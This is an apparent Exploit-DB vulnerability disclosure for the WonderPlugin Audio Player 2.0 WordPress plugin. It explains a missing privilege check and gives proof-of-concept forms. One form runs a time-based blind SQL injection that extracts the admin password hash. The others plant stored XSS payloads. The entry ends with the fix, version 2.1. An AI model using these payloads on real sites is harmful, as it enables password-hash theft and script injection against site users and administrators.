WordPress Plugin WonderPlugin Audio Player 2.0 - Blind SQL Injection / Cross-Site Scripting

EDB-ID:

36086




Platform:

PHP

Date:

2015-02-16


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# Exploit Title: WonderPlugin Audio Player 2.0 Blind SQL Injection and XSS
# Date: 20-01-2015
# Software Link: http://www.wonderplugin.com/wordpress-audio-player/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description
  
wp_ajax_save_item() is accessible for every registered user (admin privileges are not checked).

save_item() uses is_id_exist() in which $id is not escaped properly.

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="text" name="item[id]" value="1 UNION (SELECT 1, 2, 3, 4, IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1)">
    <input type="submit" value="Hack!">
</form>

This SQL will check if first password character user ID=1 is "$".

If yes it will sleep 5 seconds.

For XSS use:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wonderplugin_audio_save_item">
    <input type="hidden" name="item[id]" value="1">
    <input type="text" name="item[name]" value='<script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="text" name="item[customcss]" value='</style><script>alert(String.fromCharCode(88,83,83));</script>'>
    <input type="submit" value="Hack!">
</form>

It will be visible on every page where shortcode wonderplugin_audio is used and also in admin panel:

http://wordpress-url/wp-admin/admin.php?page=wonderplugin_audio_show_items

http://security.szurek.pl/wonderplugin-audio-player-20-blind-sql-injection-and-xss.html

3. Solution:
  
Update to version 2.1